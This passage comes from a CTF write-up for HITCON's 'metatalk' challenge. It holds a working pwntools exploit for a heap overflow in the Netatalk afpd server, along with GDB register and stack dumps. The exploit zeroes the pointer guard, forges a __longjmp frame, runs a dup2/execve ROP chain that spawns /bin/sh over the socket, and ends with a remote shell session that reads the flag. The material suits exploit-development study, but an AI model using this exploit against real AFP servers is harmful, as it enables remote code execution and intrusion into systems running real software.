0x00007ffd83bc4d70│+0x0028: 0x00007ffd83bc4e68 → 0x00007f7612c476d0 → 0x0000001200000bb0
0x00007ffd83bc4d78│+0x0030: 0x00007f7612ecc5ad → <_dl_lookup_symbol_x+845> mov rdi, rbx
0x00007ffd83bc4d80│+0x0038: 0x00007f7612c4b610 → "strerror"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f761246fd88 <__longjmp+8> mov rdx, QWORD PTR [rdi+0x38]
0x7f761246fd8c <__longjmp+12> ror r8, 0x11
0x7f761246fd90 <__longjmp+16> xor r8, QWORD PTR fs:0x30
→ 0x7f761246fd99 <__longjmp+25> ror r9, 0x11
we can see, that our cyclic pattern has overwritten the local __pointer_chk_guard
, so we also control the guard value.
We now just have to prepare a fake stack somewhere, put our ropchain there, prepare the __longjmp
call and should be ready to go.
This we can now do in a similar way, like I did it in the ctf. Just put everything in the username in a successful login (before overflowing), which will then be stored on bss at a known offset (in obj
).
Let’s prepare our ropchain.
log . info ( "Do valid login to prepare ropchain on bss" )
version = "AFP2.2"
uams = "DHX"
user = "metatalk" + p64 ( 0x0 )
user += p64 ( 0x0000000000640000 ) + p64 ( 0x0000000000640000 ) # put valid address here for dl_signal
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( 0x0 ) + p64 ( 0xdeadbeef )
command = p8 ( AFP_LOGIN )
command += p8 ( len ( version )) + version
command += p8 ( len ( uams )) + uams
command += p8 ( len ( user )) + user
send_dsi_package ( DSIFUNC_CMD , 0x100 , len ( command ), len ( command ), 0 , command )
log . info ( "Overflow package data" )
user = "metatalk"
command = p8 ( AFP_LOGIN )
command += p8 ( len ( version )) + version
command += p8 ( len ( uams )) + uams
command += p8 ( len ( user )) + user
command += "A" * ( 0x101000 - 0x10 - len ( command ))
command += cyclic_metasploit ( 4656 )
command += p64 ( 0x63d300 ) # fake empty tcache arena
command += "A" * 64
command += p64 ( 0x6567b0 ) # bss pointer to not crash in dl_signal (in username)
command += cyclic_metasploit ( 4736 - 8 - 4656 - 64 - 8 )
command += p64 ( 0x644820 ) # bss address for storing errno
command += "A" * 40
command += p64 ( 0x0 ) # __pointer_chk_guard_local
command += cyclic_metasploit ( 0x4000 - 4738 - 8 - 40 - 8 )
send_dsi_package ( DSIFUNC_CMD , 0x100 , len ( command ), len ( command ), 0 , command )
The first login command will succeed and put our username (including the ropchain) into obj
on bss
.
0x6567a0 <obj+512>: 0x6b6c61746174656d 0x0000000000000000 <= username
0x6567b0 <obj+528>: 0x0000000000640000 0x0000000000640000 <= fake addresses for dl_signal (errno)
0x6567c0 <obj+544>: 0x0000000000000000 0x0000000000000000
0x6567d0 <obj+560>: 0x0000000000000000 0x0000000000000000
0x6567e0 <obj+576>: 0x0000000000000000 0x0000000000000000
0x6567f0 <obj+592>: 0x0000000000000000 0x00000000deadbeef
0x656800 <obj+608>: 0x0000000000000000 0x0000000000000000
0x656810 <obj+624>: 0x0000000000000000 0x0000000000000000
Also updated the overflow payload to set __pointer_chk_guard_local
to 0
, so the xor
will just do nothing. Changed the bss pointer to now point into our username and put two valid addresses there for dereferencing in dl_signal
and thus our username will now be used in __longjmp
for setting up the stack.
We only have to take care of the rol r8, 0x11
and rol rdx, 0x11
.
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
user = "metatalk" + p64(0x0)
user += p64(0x0000000000640000) + p64(0x0000000000640000) # put valid address here for dl_signal
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(rol(0xdeadbeef, 0x11, 64))
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x1
$rbx : 0x0
$rcx : 0x0000000001d03670 → "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx : 0xdeadbeef
$rsp : 0x0
$rbp : 0x0
$rsi : 0x1
$rdi : 0x00000000006567c0 → 0x0000000000000000
$rip : 0xdeadbeef
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00007f7612ee369f → 0x706e203d3d206900
$r11 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address: '0x0'
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ───
Ok, rip
control, now just fixup rsp
and put a ret
gadget into rdx
to get ropping.
RET = 0x00000000004002e1
user = "metatalk" + p64 ( 0x0 )
user += p64 ( 0x0000000000640000 ) + p64 ( 0x0000000000640000 ) # put valid address here for dl_signal
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( rol ( 0x656800 , 0x11 , 64 )) + p64 ( rol ( RET , 0x11 , 64 )) # rsp / rdx
user += p64 ( 0xcafebabe )
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x1
$rbx : 0x0
$rcx : 0x0000000001d04f10 → "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx : 0x00000000004002e1 → ret
$rsp : 0x0000000000656800 → 0x00000000cafebabe
$rbp : 0x0
$rsi : 0x1
$rdi : 0x00000000006567c0 → 0x0000000000000000
$rip : 0x00007f761246fdd0 → <__longjmp+80> jmp rdx
$r8 : 0x0000000000656800 → 0x00000000cafebabe
$r9 : 0x0
$r10 : 0x00007f7612ee369f → 0x706e203d3d206900
$r11 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x0000000000656800│+0x0000: 0x00000000cafebabe ← $rsp, $r8
0x0000000000656808│+0x0008: 0x0000000000000000
0x0000000000656810│+0x0010: 0x0000000000000000
0x0000000000656818│+0x0018: 0x0000000000000000
0x0000000000656820│+0x0020: 0x0000000000000000
0x0000000000656828│+0x0028: 0x0000000000000000
0x0000000000656830│+0x0030: 0x0000000000000000
0x0000000000656838│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f761246fdc9 <__longjmp+73> mov rsp, r8
0x7f761246fdcc <__longjmp+76> mov rbp, r9
0x7f761246fdcf <__longjmp+79> nop
→ 0x7f761246fdd0 <__longjmp+80> jmp rdx
0x7f761246fdd2 nop WORD PTR cs:[rax+rax*1+0x0]
0x7f761246fddc nop DWORD PTR [rax+0x0]
0x7f761246fde0 <_longjmp_unwind+0> mov eax, DWORD PTR [rip+0x3b1be2] # 0x7f76128219c8 <__libc_pthread_functions_init>
0x7f761246fde6 <_longjmp_unwind+6> test eax, eax
0x7f761246fde8 <_longjmp_unwind+8> je 0x7f761246fe08 <_longjmp_unwind+40>
Stack prepared, rdx
pointing to ret. Well, that was a lot easier than my ctf approach (facepalm)
Now, we just have to put a dup2/execve
ropchain there
RET = 0x00000000004002e1
SOCKET = 6
POPRSI = 0x000000000040c2fc
POPRDI = 0x00000000004096ab
POPRDXRBX = 0x00000000004298c7
SYSCALL = 0x000000000042245d
user = "metatalk" + p64 ( 0x0 )
user += p64 ( 0x0000000000640000 ) + p64 ( 0x0000000000640000 ) # put valid address here for dl_signal
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( 0x0 ) + p64 ( 0 )
user += p64 ( rol ( 0x656800 , 0x11 , 64 )) + p64 ( rol ( RET , 0x11 , 64 )) # rsp / rdx
# ropchain starts here
user += p64 ( POPRDI )
user += p64 ( SOCKET )
user += p64 ( POPRSI )
user += p64 ( 0 )
user += p64 ( e . plt [ "dup2" ])
user += p64 ( POPRDI )
user += p64 ( SOCKET )
user += p64 ( POPRSI )
user += p64 ( 1 )
user += p64 ( e . plt [ "dup2" ])
user += p64 ( POPRDI )
user += p64 ( 0x656890 )
user += p64 ( POPRSI )
user += p64 ( 0 )
user += p64 ( POPRDXRBX )
user += p64 ( 0 )
user += p64 ( 0 )
user += p64 ( e . plt [ "execl" ])
user = user . ljust ( 0xf0 , " \x00 " )
user += "/bin/sh \x00 "
$ python xpl.py 1
[*] '/home/kileak/ctf/hit21/meta/metatalk/share/afpd'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
[+] Opening connection to 18.181.73.12 on port 4869: Done
[+] Starting local process './pow.sh': pid 62988
[*] Open session
[*] Do valid login to prepare ropchain on bss
[*] Overflow package data
[*] Switching to interactive mode
\x00\xff\xff�w\x0\x00\x00\x00\x00\x00\x00\xa3��\x8d,\x94����z#~��\xb2\x07\x163\x1e\xaek \xac\xbe\xbb\xa3բ)\x89\xff\x0fK��ɾ[p\x10\xaa\x857$\xbe:4\x9df�T^\xff?\xb9P���\x8e-G�R��Dv\xb8��\xabzJ\xb0b\xb1\x0c�G\xa9rٲ\xbe����ϥg\xae$\x18+\xa5\x87\x0b\�T�l\xbap\xb8j\x87k-�]]\x9a\xaf\�m�-�>](\x04j��f��ZDw��S\x07)� &_\x9f\x051\xae�#\x93\x93آ\x99LW��59W)-\xbab\xb7\xb4��O\x0c!�Qs\xab������O\xa2"\x15@�4��\xb2\x9c��\x85m\x07 �u��f�\x06ˢ\x18\x89.\x1b�J�U�ls
$ cd home/metatalk
$ ls
afp.conf
afpd
libatalk.so.18
m3ta_fl4g
uams_dhx.so
uams_dhx2.so
$ cat m3ta_fl4g
hitcon{m3tatalk_1s_A_n4xt_g3n3r4ti0n_b4ckd00r}